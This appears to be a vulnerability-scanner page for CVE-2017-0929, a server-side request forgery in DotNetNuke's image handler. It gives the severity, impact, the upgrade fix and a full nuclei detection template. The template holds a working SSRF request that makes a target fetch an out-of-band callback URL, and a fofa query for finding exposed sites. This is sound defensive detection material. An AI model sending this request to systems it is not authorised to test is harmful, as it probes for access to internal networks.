DotNetNuke (DNN) ImageHandler <9.2.0 - Server-Side Request Forgery

highseverity

7.5CVSS score

12.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

DotNetNuke (aka DNN) before 9.2.0 suffers from a server-side request forgery vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.

Impact

An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.

Fix

Upgrade DotNetNuke (DNN) ImageHandler to version 9.2.0 or above.

How to confirm it

Send: GET {{BaseURL}}/DnnImageHandler.ashx?mode=file&url=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND status 500

Run it with nuclei: nuclei -id CVE-2017-0929 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-0929

info:
  name: DotNetNuke (DNN) ImageHandler <9.2.0 - Server-Side Request Forgery
  author: charanrayudu,meme-lord
  severity: high
  description: DotNetNuke (aka DNN) before 9.2.0 suffers from a server-side request forgery vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.
  impact: |
    An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
  remediation: |
    Upgrade DotNetNuke (DNN) ImageHandler to version 9.2.0 or above.
  reference:
    - https://hackerone.com/reports/482634
    - https://nvd.nist.gov/vuln/detail/CVE-2017-0929
    - https://github.com/dnnsoftware/Dnn.Platform/commit/d3953db85fee77bb5e6383747692c507ef8b94c3
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-0929
    cwe-id: CWE-918
    epss-score: 0.12543
    epss-percentile: 0.96267
    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dnnsoftware
    product: dotnetnuke
    fofa-query: app="dotnetnuke"
  tags: cve2017,cve,dnn,dotnetnuke,hackerone,oast,ssrf,dnnsoftware,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/DnnImageHandler.ashx?mode=file&url=http://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 500

References

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